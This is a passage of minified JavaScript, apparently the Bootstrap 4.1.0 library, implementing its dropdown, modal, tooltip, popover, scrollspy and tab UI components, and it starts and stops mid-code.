document.documentElement&&0===mt(t).closest(jt).length&&mt(document.body).children().on("mouseover",null,mt.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),mt(this._menu).toggleClass(Dt),mt(t).toggleClass(Dt).trigger(mt.Event(It.SHOWN,n))}}}},t.dispose=function(){mt.removeData(this._element,vt),mt(this._element).off(Et),this._element=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=null)},t.update=function(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},t._addEventListeners=function(){var e=this;mt(this._element).on(It.CLICK,function(t){t.preventDefault(),t.stopPropagation(),e.toggle()})},t._getConfig=function(t){return t=h({},this.constructor.Default,mt(this._element).data(),t),Cn.typeCheckConfig(pt,t,this.constructor.DefaultType),t},t._getMenuElement=function(){if(!this._menu){var t=l._getParentFromElement(this._element);this._menu=mt(t).find(Lt)[0]}return this._menu},t._getPlacement=function(){var t=mt(this._element).parent(),e=Mt;return t.hasClass(bt)?(e=Ht,mt(this._menu).hasClass(Nt)&&(e=Wt)):t.hasClass(St)?e=Ut:t.hasClass(wt)?e=Kt:mt(this._menu).hasClass(Nt)&&(e=xt),e},t._detectNavbar=function(){return 0<mt(this._element).closest(".navbar").length},t._getPopperConfig=function(){var e=this,t={};"function"==typeof this._config.offset?t.fn=function(t){return t.offsets=h({},t.offsets,e._config.offset(t.offsets)||{}),t}:t.offset=this._config.offset;var n={placement:this._getPlacement(),modifiers:{offset:t,flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(n.modifiers.applyStyle={enabled:!1}),n},l._jQueryInterface=function(e){return this.each(function(){var t=mt(this).data(vt);if(t||(t=new l(this,"object"==typeof e?e:null),mt(this).data(vt,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},l._clearMenus=function(t){if(!t||3!==t.which&&("keyup"!==t.type||9===t.which))for(var e=mt.makeArray(mt(kt)),n=0;n<e.length;n++){var i=l._getParentFromElement(e[n]),r=mt(e[n]).data(vt),s={relatedTarget:e[n]};if(r){var o=r._menu;if(mt(i).hasClass(Dt)&&!(t&&("click"===t.type&&/input|textarea/i.test(t.target.tagName)||"keyup"===t.type&&9===t.which)&&mt.contains(i,t.target))){var a=mt.Event(It.HIDE,s);mt(i).trigger(a),a.isDefaultPrevented()||("ontouchstart"in document.documentElement&&mt(document.body).children().off("mouseover",null,mt.noop),e[n].setAttribute("aria-expanded","false"),mt(o).removeClass(Dt),mt(i).removeClass(Dt).trigger(mt.Event(It.HIDDEN,s)))}}}},l._getParentFromElement=function(t){var e,n=Cn.getSelectorFromElement(t);return n&&(e=mt(n)[0]),e||t.parentNode},l._dataApiKeydownHandler=function(t){if((/input|textarea/i.test(t.target.tagName)?!(32===t.which||27!==t.which&&(40!==t.which&&38!==t.which||mt(t.target).closest(Lt).length)):Ct.test(t.which))&&(t.preventDefault(),t.stopPropagation(),!this.disabled&&!mt(this).hasClass(At))){var e=l._getParentFromElement(this),n=mt(e).hasClass(Dt);if((n||27===t.which&&32===t.which)&&(!n||27!==t.which&&32!==t.which)){var i=mt(e).find(Rt).get();if(0!==i.length){var r=i.indexOf(t.target);38===t.which&&0<r&&r--,40===t.which&&r<i.length-1&&r++,r<0&&(r=0),i[r].focus()}}else{if(27===t.which){var s=mt(e).find(kt)[0];mt(s).trigger("focus")}mt(this).trigger("click")}}},o(l,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Ft}},{key:"DefaultType",get:function(){return Vt}}]),l}(),mt(document).on(It.KEYDOWN_DATA_API,kt,Qt._dataApiKeydownHandler).on(It.KEYDOWN_DATA_API,Lt,Qt._dataApiKeydownHandler).on(It.CLICK_DATA_API+" "+It.KEYUP_DATA_API,Qt._clearMenus).on(It.CLICK_DATA_API,kt,function(t){t.preventDefault(),t.stopPropagation(),Qt._jQueryInterface.call(mt(this),"toggle")}).on(It.CLICK_DATA_API,Pt,function(t){t.stopPropagation()}),mt.fn[pt]=Qt._jQueryInterface,mt.fn[pt].Constructor=Qt,mt.fn[pt].noConflict=function(){return mt.fn[pt]=Tt,Qt._jQueryInterface},Qt),wn=(Yt="modal",qt="."+(Gt="bs.modal"),zt=(Bt=e).fn[Yt],Xt={backdrop:!0,keyboard:!0,focus:!0,show:!0},Jt={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},Zt={HIDE:"hide"+qt,HIDDEN:"hidden"+qt,SHOW:"show"+qt,SHOWN:"shown"+qt,FOCUSIN:"focusin"+qt,RESIZE:"resize"+qt,CLICK_DISMISS:"click.dismiss"+qt,KEYDOWN_DISMISS:"keydown.dismiss"+qt,MOUSEUP_DISMISS:"mouseup.dismiss"+qt,MOUSEDOWN_DISMISS:"mousedown.dismiss"+qt,CLICK_DATA_API:"click"+qt+".data-api"},$t="modal-scrollbar-measure",te="modal-backdrop",ee="modal-open",ne="fade",ie="show",re={DIALOG:".modal-dialog",DATA_TOGGLE:'[data-toggle="modal"]',DATA_DISMISS:'[data-dismiss="modal"]',FIXED_CONTENT:".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",STICKY_CONTENT:".sticky-top",NAVBAR_TOGGLER:".navbar-toggler"},se=function(){function r(t,e){this._config=this._getConfig(e),this._element=t,this._dialog=Bt(t).find(re.DIALOG)[0],this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._scrollbarWidth=0}var t=r.prototype;return t.toggle=function(t){return this._isShown?this.hide():this.show(t)},t.show=function(t){var e=this;if(!this._isTransitioning&&!this._isShown){Bt(this._element).hasClass(ne)&&(this._isTransitioning=!0);var n=Bt.Event(Zt.SHOW,{relatedTarget:t});Bt(this._element).trigger(n),this._isShown||n.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),Bt(document.body).addClass(ee),this._setEscapeEvent(),this._setResizeEvent(),Bt(this._element).on(Zt.CLICK_DISMISS,re.DATA_DISMISS,function(t){return e.hide(t)}),Bt(this._dialog).on(Zt.MOUSEDOWN_DISMISS,function(){Bt(e._element).one(Zt.MOUSEUP_DISMISS,function(t){Bt(t.target).is(e._element)&&(e._ignoreBackdropClick=!0)})}),this._showBackdrop(function(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.preventDefault(),!this._isTransitioning&&this._isShown){var n=Bt.Event(Zt.HIDE);if(Bt(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){this._isShown=!1;var i=Bt(this._element).hasClass(ne);if(i&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),Bt(document).off(Zt.FOCUSIN),Bt(this._element).removeClass(ie),Bt(this._element).off(Zt.CLICK_DISMISS),Bt(this._dialog).off(Zt.MOUSEDOWN_DISMISS),i){var r=Cn.getTransitionDurationFromElement(this._element);Bt(this._element).one(Cn.TRANSITION_END,function(t){return e._hideModal(t)}).emulateTransitionEnd(r)}else this._hideModal()}}},t.dispose=function(){Bt.removeData(this._element,Gt),Bt(window,document,this._element,this._backdrop).off(qt),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._scrollbarWidth=null},t.handleUpdate=function(){this._adjustDialog()},t._getConfig=function(t){return t=h({},Xt,t),Cn.typeCheckConfig(Yt,t,Jt),t},t._showElement=function(t){var e=this,n=Bt(this._element).hasClass(ne);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.scrollTop=0,n&&Cn.reflow(this._element),Bt(this._element).addClass(ie),this._config.focus&&this._enforceFocus();var i=Bt.Event(Zt.SHOWN,{relatedTarget:t}),r=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,Bt(e._element).trigger(i)};if(n){var s=Cn.getTransitionDurationFromElement(this._element);Bt(this._dialog).one(Cn.TRANSITION_END,r).emulateTransitionEnd(s)}else r()},t._enforceFocus=function(){var e=this;Bt(document).off(Zt.FOCUSIN).on(Zt.FOCUSIN,function(t){document!==t.target&&e._element!==t.target&&0===Bt(e._element).has(t.target).length&&e._element.focus()})},t._setEscapeEvent=function(){var e=this;this._isShown&&this._config.keyboard?Bt(this._element).on(Zt.KEYDOWN_DISMISS,function(t){27===t.which&&(t.preventDefault(),e.hide())}):this._isShown||Bt(this._element).off(Zt.KEYDOWN_DISMISS)},t._setResizeEvent=function(){var e=this;this._isShown?Bt(window).on(Zt.RESIZE,function(t){return e.handleUpdate(t)}):Bt(window).off(Zt.RESIZE)},t._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._isTransitioning=!1,this._showBackdrop(function(){Bt(document.body).removeClass(ee),t._resetAdjustments(),t._resetScrollbar(),Bt(t._element).trigger(Zt.HIDDEN)})},t._removeBackdrop=function(){this._backdrop&&(Bt(this._backdrop).remove(),this._backdrop=null)},t._showBackdrop=function(t){var e=this,n=Bt(this._element).hasClass(ne)?ne:"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className=te,n&&Bt(this._backdrop).addClass(n),Bt(this._backdrop).appendTo(document.body),Bt(this._element).on(Zt.CLICK_DISMISS,function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._element.focus():e.hide())}),n&&Cn.reflow(this._backdrop),Bt(this._backdrop).addClass(ie),!t)return;if(!n)return void t();var i=Cn.getTransitionDurationFromElement(this._backdrop);Bt(this._backdrop).one(Cn.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){Bt(this._backdrop).removeClass(ie);var r=function(){e._removeBackdrop(),t&&t()};if(Bt(this._element).hasClass(ne)){var s=Cn.getTransitionDurationFromElement(this._backdrop);Bt(this._backdrop).one(Cn.TRANSITION_END,r).emulateTransitionEnd(s)}else r()}else t&&t()},t._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},t._setScrollbar=function(){var r=this;if(this._isBodyOverflowing){Bt(re.FIXED_CONTENT).each(function(t,e){var n=Bt(e)[0].style.paddingRight,i=Bt(e).css("padding-right");Bt(e).data("padding-right",n).css("padding-right",parseFloat(i)+r._scrollbarWidth+"px")}),Bt(re.STICKY_CONTENT).each(function(t,e){var n=Bt(e)[0].style.marginRight,i=Bt(e).css("margin-right");Bt(e).data("margin-right",n).css("margin-right",parseFloat(i)-r._scrollbarWidth+"px")}),Bt(re.NAVBAR_TOGGLER).each(function(t,e){var n=Bt(e)[0].style.marginRight,i=Bt(e).css("margin-right");Bt(e).data("margin-right",n).css("margin-right",parseFloat(i)+r._scrollbarWidth+"px")});var t=document.body.style.paddingRight,e=Bt(document.body).css("padding-right");Bt(document.body).data("padding-right",t).css("padding-right",parseFloat(e)+this._scrollbarWidth+"px")}},t._resetScrollbar=function(){Bt(re.FIXED_CONTENT).each(function(t,e){var n=Bt(e).data("padding-right");"undefined"!=typeof n&&Bt(e).css("padding-right",n).removeData("padding-right")}),Bt(re.STICKY_CONTENT+", "+re.NAVBAR_TOGGLER).each(function(t,e){var n=Bt(e).data("margin-right");"undefined"!=typeof n&&Bt(e).css("margin-right",n).removeData("margin-right")});var t=Bt(document.body).data("padding-right");"undefined"!=typeof t&&Bt(document.body).css("padding-right",t).removeData("padding-right")},t._getScrollbarWidth=function(){var t=document.createElement("div");t.className=$t,document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},r._jQueryInterface=function(n,i){return this.each(function(){var t=Bt(this).data(Gt),e=h({},r.Default,Bt(this).data(),"object"==typeof n&&n);if(t||(t=new r(this,e),Bt(this).data(Gt,t)),"string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n](i)}else e.show&&t.show(i)})},o(r,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Xt}}]),r}(),Bt(document).on(Zt.CLICK_DATA_API,re.DATA_TOGGLE,function(t){var e,n=this,i=Cn.getSelectorFromElement(this);i&&(e=Bt(i)[0]);var r=Bt(e).data(Gt)?"toggle":h({},Bt(e).data(),Bt(this).data());"A"!==this.tagName&&"AREA"!==this.tagName||t.preventDefault();var s=Bt(e).one(Zt.SHOW,function(t){t.isDefaultPrevented()||s.one(Zt.HIDDEN,function(){Bt(n).is(":visible")&&n.focus()})});se._jQueryInterface.call(Bt(e),r,this)}),Bt.fn[Yt]=se._jQueryInterface,Bt.fn[Yt].Constructor=se,Bt.fn[Yt].noConflict=function(){return Bt.fn[Yt]=zt,se._jQueryInterface},se),Nn=(ae="tooltip",he="."+(le="bs.tooltip"),ce=(oe=e).fn[ae],ue="bs-tooltip",fe=new RegExp("(^|\\s)"+ue+"\\S+","g"),ge={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!(_e={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(de={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},pe="out",ve={HIDE:"hide"+he,HIDDEN:"hidden"+he,SHOW:(me="show")+he,SHOWN:"shown"+he,INSERTED:"inserted"+he,CLICK:"click"+he,FOCUSIN:"focusin"+he,FOCUSOUT:"focusout"+he,MOUSEENTER:"mouseenter"+he,MOUSELEAVE:"mouseleave"+he},Ee="fade",ye="show",Te=".tooltip-inner",Ce=".arrow",Ie="hover",Ae="focus",De="click",be="manual",Se=function(){function i(t,e){if("undefined"==typeof c)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=oe(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),oe(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(oe(this.getTipElement()).hasClass(ye))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),oe.removeData(this.element,this.constructor.DATA_KEY),oe(this.element).off(this.constructor.EVENT_KEY),oe(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&oe(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===oe(this.element).css("display"))throw new Error("Please use show on visible elements");var t=oe.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){oe(this.element).trigger(t);var n=oe.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=Cn.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&oe(i).addClass(Ee);var s="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,o=this._getAttachment(s);this.addAttachmentClass(o);var a=!1===this.config.container?document.body:oe(this.config.container);oe(i).data(this.constructor.DATA_KEY,this),oe.contains(this.element.ownerDocument.documentElement,this.tip)||oe(i).appendTo(a),oe(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new c(this.element,i,{placement:o,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:Ce},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),oe(i).addClass(ye),"ontouchstart"in document.documentElement&&oe(document.body).children().on("mouseover",null,oe.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,oe(e.element).trigger(e.constructor.Event.SHOWN),t===pe&&e._leave(null,e)};if(oe(this.tip).hasClass(Ee)){var h=Cn.getTransitionDurationFromElement(this.tip);oe(this.tip).one(Cn.TRANSITION_END,l).emulateTransitionEnd(h)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=oe.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==me&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),oe(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(oe(this.element).trigger(i),!i.isDefaultPrevented()){if(oe(n).removeClass(ye),"ontouchstart"in document.documentElement&&oe(document.body).children().off("mouseover",null,oe.noop),this._activeTrigger[De]=!1,this._activeTrigger[Ae]=!1,this._activeTrigger[Ie]=!1,oe(this.tip).hasClass(Ee)){var s=Cn.getTransitionDurationFromElement(n);oe(n).one(Cn.TRANSITION_END,r).emulateTransitionEnd(s)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){oe(this.getTipElement()).addClass(ue+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||oe(this.config.template)[0],this.tip},t.setContent=function(){var t=oe(this.getTipElement());this.setElementContent(t.find(Te),this.getTitle()),t.removeClass(Ee+" "+ye)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?oe(e).parent().is(t)||t.empty().append(e):t.text(oe(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return _e[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)oe(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==be){var e=t===Ie?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===Ie?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;oe(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}oe(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=h({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||oe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),oe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Ae:Ie]=!0),oe(e.getTipElement()).hasClass(ye)||e._hoverState===me?e._hoverState=me:(clearTimeout(e._timeout),e._hoverState=me,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===me&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||oe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),oe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Ae:Ie]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=pe,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===pe&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=h({},this.constructor.Default,oe(this.element).data(),t)).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),Cn.typeCheckConfig(ae,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=oe(this.getTipElement()),e=t.attr("class").match(fe);null!==e&&0<e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(oe(t).removeClass(Ee),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=oe(this).data(le),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),oe(this).data(le,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},o(i,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return ge}},{key:"NAME",get:function(){return ae}},{key:"DATA_KEY",get:function(){return le}},{key:"Event",get:function(){return ve}},{key:"EVENT_KEY",get:function(){return he}},{key:"DefaultType",get:function(){return de}}]),i}(),oe.fn[ae]=Se._jQueryInterface,oe.fn[ae].Constructor=Se,oe.fn[ae].noConflict=function(){return oe.fn[ae]=ce,Se._jQueryInterface},Se),On=(Ne="popover",ke="."+(Oe="bs.popover"),Pe=(we=e).fn[Ne],Le="bs-popover",je=new RegExp("(^|\\s)"+Le+"\\S+","g"),Re=h({},Nn.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),He=h({},Nn.DefaultType,{content:"(string|element|function)"}),We="fade",xe=".popover-header",Ue=".popover-body",Ke={HIDE:"hide"+ke,HIDDEN:"hidden"+ke,SHOW:(Me="show")+ke,SHOWN:"shown"+ke,INSERTED:"inserted"+ke,CLICK:"click"+ke,FOCUSIN:"focusin"+ke,FOCUSOUT:"focusout"+ke,MOUSEENTER:"mouseenter"+ke,MOUSELEAVE:"mouseleave"+ke},Fe=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){we(this.getTipElement()).addClass(Le+"-"+t)},r.getTipElement=function(){return this.tip=this.tip||we(this.config.template)[0],this.tip},r.setContent=function(){var t=we(this.getTipElement());this.setElementContent(t.find(xe),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Ue),e),t.removeClass(We+" "+Me)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=we(this.getTipElement()),e=t.attr("class").match(je);null!==e&&0<e.length&&t.removeClass(e.join(""))},i._jQueryInterface=function(n){return this.each(function(){var t=we(this).data(Oe),e="object"==typeof n?n:null;if((t||!/destroy|hide/.test(n))&&(t||(t=new i(this,e),we(this).data(Oe,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},o(i,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Re}},{key:"NAME",get:function(){return Ne}},{key:"DATA_KEY",get:function(){return Oe}},{key:"Event",get:function(){return Ke}},{key:"EVENT_KEY",get:function(){return ke}},{key:"DefaultType",get:function(){return He}}]),i}(Nn),we.fn[Ne]=Fe._jQueryInterface,we.fn[Ne].Constructor=Fe,we.fn[Ne].noConflict=function(){return we.fn[Ne]=Pe,Fe._jQueryInterface},Fe),kn=(Qe="scrollspy",Ye="."+(Be="bs.scrollspy"),Ge=(Ve=e).fn[Qe],qe={offset:10,method:"auto",target:""},ze={offset:"number",method:"string",target:"(string|element)"},Xe={ACTIVATE:"activate"+Ye,SCROLL:"scroll"+Ye,LOAD_DATA_API:"load"+Ye+".data-api"},Je="dropdown-item",Ze="active",$e={DATA_SPY:'[data-spy="scroll"]',ACTIVE:".active",NAV_LIST_GROUP:".nav, .list-group",NAV_LINKS:".nav-link",NAV_ITEMS:".nav-item",LIST_ITEMS:".list-group-item",DROPDOWN:".dropdown",DROPDOWN_ITEMS:".dropdown-item",DROPDOWN_TOGGLE:".dropdown-toggle"},tn="offset",en="position",nn=function(){function n(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" "+$e.NAV_LINKS+","+this._config.target+" "+$e.LIST_ITEMS+","+this._config.target+" "+$e.DROPDOWN_ITEMS,this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,Ve(this._scrollElement).on(Xe.SCROLL,function(t){return n._process(t)}),this.refresh(),this._process()}var t=n.prototype;return t.refresh=function(){var e=this,t=this._scrollElement===this._scrollElement.window?tn:en,r="auto"===this._config.method?t:this._config.method,s=r===en?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),Ve.makeArray(Ve(this._selector)).map(function(t){var e,n=Cn.getSelectorFromElement(t);if(n&&(e=Ve(n)[0]),e){var i=e.getBoundingClientRect();if(i.width||i.height)return[Ve(e)[r]().top+s,n]}return null}).filter(function(t){return t}).sort(function(t,e){return t[0]-e[0]}).forEach(function(t){e._offsets.push(t[0]),e._targets.push(t[1])})},t.dispose=function(){Ve.removeData(this._element,Be),Ve(this._scrollElement).off(Ye),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},t._getConfig=function(t){if("string"!=typeof(t=h({},qe,t)).target){var e=Ve(t.target).attr("id");e||(e=Cn.getUID(Qe),Ve(t.target).attr("id",e)),t.target="#"+e}return Cn.typeCheckConfig(Qe,t,ze),t},t._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},t._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},t._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},t._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),n<=t){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t<this._offsets[0]&&0<this._offsets[0])return this._activeTarget=null,void this._clear();for(var r=this._offsets.length;r--;){this._activeTarget!==this._targets[r]&&t>=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||t<this._offsets[r+1])&&this._activate(this._targets[r])}}},t._activate=function(e){this._activeTarget=e,this._clear();var t=this._selector.split(",");t=t.map(function(t){return t+'[data-target="'+e+'"],'+t+'[href="'+e+'"]'});var n=Ve(t.join(","));n.hasClass(Je)?(n.closest($e.DROPDOWN).find($e.DROPDOWN_TOGGLE).addClass(Ze),n.addClass(Ze)):(n.addClass(Ze),n.parents($e.NAV_LIST_GROUP).prev($e.NAV_LINKS+", "+$e.LIST_ITEMS).addClass(Ze),n.parents($e.NAV_LIST_GROUP).prev($e.NAV_ITEMS).children($e.NAV_LINKS).addClass(Ze)),Ve(this._scrollElement).trigger(Xe.ACTIVATE,{relatedTarget:e})},t._clear=function(){Ve(this._selector).filter($e.ACTIVE).removeClass(Ze)},n._jQueryInterface=function(e){return this.each(function(){var t=Ve(this).data(Be);if(t||(t=new n(this,"object"==typeof e&&e),Ve(this).data(Be,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},o(n,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return qe}}]),n}(),Ve(window).on(Xe.LOAD_DATA_API,function(){for(var t=Ve.makeArray(Ve($e.DATA_SPY)),e=t.length;e--;){var n=Ve(t[e]);nn._jQueryInterface.call(n,n.data())}}),Ve.fn[Qe]=nn._jQueryInterface,Ve.fn[Qe].Constructor=nn,Ve.fn[Qe].noConflict=function(){return Ve.fn[Qe]=Ge,nn._jQueryInterface},nn),Pn=(on="."+(sn="bs.tab"),an=(rn=e).fn.tab,ln={HIDE:"hide"+on,HIDDEN:"hidden"+on,SHOW:"show"+on,SHOWN:"shown"+on,CLICK_DATA_API:"click"+on+".data-api"},hn="dropdown-menu",cn="active",un="disabled",fn="fade",dn="show",_n=".dropdown",gn=".nav, .list-group",mn=".active",pn="> li > .active",vn='[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',En=".dropdown-toggle",yn="> .dropdown-menu .active",Tn=function(){function i(t){this._element=t}var t=i.prototype;return t.show=function(){var 